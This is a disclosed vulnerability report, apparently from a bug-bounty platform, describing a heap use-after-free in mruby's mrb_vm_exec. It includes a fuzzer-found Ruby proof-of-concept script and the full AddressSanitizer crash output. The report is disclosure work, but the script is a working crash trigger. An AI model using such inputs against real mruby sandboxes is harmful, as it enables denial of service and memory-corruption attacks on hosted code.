shopify-scripts · Report #207710
Heap use-after-free in mrb_vm_exec
Validstatus
2upvotes
13 Apr 2017disclosed
How it was found
Here is an invalid memory manipulation I discover by doing some fuzzing,
The code that triggers the bug :
def t()
end
def na0e
end
def artist
k 10000
end
class S0n0
def inspect
super@n=na0e
@r=artist
end
end
S0n0.new.inspect
The crash report using AddressSanitizer:
./mruby HEAP.rb
=================================================================
==44459==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d000001230 at pc 0x0000005bc298 bp 0x7ffc9e6f6350 sp 0x7ffc9e6f6348
WRITE of size 8 at 0x61d000001230 thread T0
#0 0x5bc297 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1422:28
#1 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#2 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#3 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#4 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#5 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#6 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#7 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#8 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#9 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#10 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#11 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#12 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#13 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#14 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#15 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#16 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#17 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#18 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#19 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#20 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#21 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#22 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#23 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#24 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#25 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#26 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#27 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#28 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#29 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#30 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#31 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#32 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#33 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#34 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#35 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#36 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#37 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#38 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#39 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#40 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#41 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#42 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#43 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#44 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#45 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#46 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#47 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#48 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#49 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#50 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#51 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#52 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#53 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#54 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#55 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#56 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#57 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#58 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#59 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#60 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#61 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#62 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#63 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#64 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#65 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#66 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#67 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#68 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#69 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#70 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#71 0x592e34 in mrb_funcall_with_block /home/simo/test/news/mruby/src/vm.c:451:13
#72 0x590a09 in mrb_funcall_argv /home/simo/test/news/mruby/src/vm.c:461:10
#73 0x581cd3 in mrb_method_missing /home/simo/test/news/mruby/src/kernel.c:926:12
#74 0x586039 in mrb_obj_missing /home/simo/test/news/mruby/src/kernel.c:980:3
#75 0x59f332 in mrb_vm_exec /home/simo/test/news/mruby/src/vm.c:1229:18
#76 0x5c23b4 in mrb_vm_run /home/simo/test/news/mruby/src/vm.c:815:10
#77 0x5c23b4 in mrb_top_run /home/simo/test/news/mruby/src/vm.c:2569
#78 0x6f37ec in mrb_load_exec /home/simo/test/news/mruby/mrbgems/mruby-compiler/core/parse.y:5755:7
#79 0x4ed69a in main /home/simo/test/news/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232:11
#80 0x7f4289cb582f in __libc_start_main /build/glibc-t3gR2i/glibc-2.23/csu/../csu/libc-start.c:291
#81 0x41a0e8 in _start (/home/simo/test/news/mruby/bin/mruby+0x41a0e8)
0x61d000001230 is located 1968 bytes inside of 2048-byte region [0x61d000000a80,0x61d000001280)
freed by thread T0 here:
#0 0x4c0c7e in realloc (/home/simo/test/news/mruby/bin/mruby+0x4c0c7e)
#1 0x507e7a in mrb_realloc_simple /home/simo/test/news/mruby/src/gc.c:201:8
#2 0x507e7a in mrb_realloc /home/simo/test/news/mruby/src/gc.c:215
previously allocated by thread T0 here:
#0 0x4c0c7e in realloc (/home/simo/test/news/mruby/bin/mruby+0x4c0c7e)
#1 0x507e7a in mrb_realloc_simple /home/simo/test/news/mruby/src/gc.c:201:8
#2 0x507e7a in mrb_realloc /home/simo/test/news/mruby/src/gc.c:215
SUMMARY: AddressSanitizer: heap-use-after-free /home/simo/test/news/mruby/src/vm.c:1422:28 in mrb_vm_exec
Shadow bytes around the buggy address:
0x0c3a7fff81f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8210: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8220: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c3a7fff8230: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c3a7fff8240: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd
0x0c3a7fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fff8290: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==44459==ABORTING
Regards